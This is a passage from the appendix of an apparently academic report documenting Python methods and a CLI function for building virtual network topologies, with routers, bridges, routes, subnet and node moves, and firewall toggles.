executed, all the bridges are guaranteed to exist before this method is run. This
subtlety frees this method from having to instantiate bridges as well.
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The create n connect router() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) router - string: Name of the router we are to create and connect or just
connect to a bridge.

(c) bridge - string: Name of the bridge we are to connect the router to.

2. Returns: Nothing.

3. Description: This method is entirely analogous to the create n connect node()

method. It will just instantiate and connect routers instead of nodes.

The found bridge() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) b name - string: Name of the bridge that will be created, if appropriate.

(c) subnet - string: subnet address in CIDR format specifying the subnet sup-
ported by said bridge.

2. Returns: Nothing.

3. Description: This method will check whether the bridge specified by the b name

parameter exists or not. If it does, it will just exit. If if does not, it will create both
the bridge and the associated subnet.

The instantiate routes() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) found routes - dictionary/string/dictionary/string/list/string: A
dictionary containing the shortest path from node to each subnet. This dic-
tionary is generated by means of the networkx. shortest path() function
within the translate n execute graph() method we will describe below.

2. Returns: Nothing.

3. Description: This method will parse the found routes parameter and instantiate
the appropriate routes at every node and router. The anatomy of the found routes

parameter is described on listing C.1.
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1 {

2 ’dest_subnet ’: {

3 ’source_node_a ’: [

4 ’source_node_a ’,

5 ’gateway_x ’,

6 ’dest_subnet_bridge ’

7 ],

8 ’source_node_b ’: [

9 ’source_node_b ’,

10 ’gateway_y ’,

11 ’dest_subnet_bridge ’

12 ],

13 # There is one such entry for each node in the graph (routers ,

14 # bridges and hosts). Each of these entries has possibly

15 # more hops , but we are only interested in the first one

16 # as that is the gateway we need to configure.

17 }

18 # There is one such entry for each subnet.

19 }

Listing C.1: Data Structure Containing All the Network’s Routes.

The translate n execute graph() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) graph - networkx graph inst: The graph representing the virtual topology
we are to instantiate.

(c) fw enable - boolean - optional: A flag indicating whether the method
should activate the firewall configuration specified through attributes of the
nodes representing routers. This parameter proved useful when we were de-
bugging the ICS topology seen on section 4.3.

2. Returns: An int indicating whether the virtual network could be instantiated (0)
or if there was some kind of error (−1).

3. Description: This method relies on most of the above to correctly parse the graph
provided as a parameter and end up with a completely functional virtual network.
We can regard it as a “dispatcher” method in the sense that it coordinates many
others to achieve a complex goal.

The move subnet() Method

1. Parameters:
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(a) self - d net inst: The actual network instance.

(b) graph - networkx graph inst: The graph representing the virtual topology
that is currently instantiated.

(c) og subnet - string: The subnet we are to move, specified in CIDR format.

(d) dest subnet - string: The subnet the one we are moving should be attached
to, specified in CIDR format.

2. Returns: Nothing.

3. Description: This method will connect the subnet specified through the og subnet

parameter to the one identified by the dest subnet parameter. Doing so usually
incurs in many subtleties that need to be managed so as not to disrupt the rest
of the network. This translates into this method being noticeably longer than the
other we have described up to now.

The move node() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) graph - networkx graph inst: The graph representing the virtual topology
that is currently instantiated.

(c) node - string: The name of the node to displace.

(d) dest subnet - string: The subnet the node we are moving should be at-
tached to, specified in CIDR format.

(e) pure movement - boolean - optional: This flag controls whether the chan-
ges triggered by the movement should be made effective in the internal network
representation of the virt net module. This parameter has been previously used
for debugging this method and will often be True.

2. Returns: Nothing.

3. Description: This method will move the specified node to the provided subnet
whilst handling all the intricacies that might arise when doing so. A prime example
of these would be reconfiguring firewalls “on the fly” if the affected node had any
restrictions in terms of the connections it was allowed to establish. Like the method
before, this one is rather large.
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C.3 The net ctrl Module

Net ctrl.py

This file defines the launch net() function that will offer the facilities we described above.
Just like with other CLIs, the user will be granted a set of commands that let him or her
interact with the virtual network. Thee have already been described in section 4.1.2.

Imported Libraries

1. networkx: This module provides several graph-related functionalities such as offer-
ing graphical representations of graphs.

2. matplotlib: The networkx module relies on matpolotlib to generate graphical rep-
resentations of graphs.

3. datetime: This module allows using timestamps on the abscissa axis of plots gen-
erated with matplotlib.

Global Variables None.

The launch net() Function

1. Parameters:

(a) graph - networkx graph inst: The graph representing the network topol-
ogy to build.

(b) fw on - boolean - optional: A flag controlling whether the firewalls on
routers should be activated (True) or not (False). It is True by default.

(c) report mode - boolean - optional: A flag controlling whether the func-
tion should be run in report mode (False) or report mode (True). It is False

by default.

2. Returns: Nothing.

3. Description: After correctly bringing the virtual network represented by the graph
parameter up, this function will enter an infinite loop serving as the CLI’s main
loop. When in the infinite loop, the function will wait for user input and parse
it. It will then try to execute the invoked command, printing a message in case
of error. This loop can be exited through commands such as exit or quit. This
will also cause the dismantling of the entire virtual network. In other words, this
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is the function keeping the network alive, as it is the one that will instantiate the
graph interpreter class which will in turn bring up all the other network elements.
As always, this function can be modified and rewritten to suit other user’s needs.
As long as it instantiates the graph interpreter class everything will “look the
same” to auxiliary modules such as graph interpreter and virt net.
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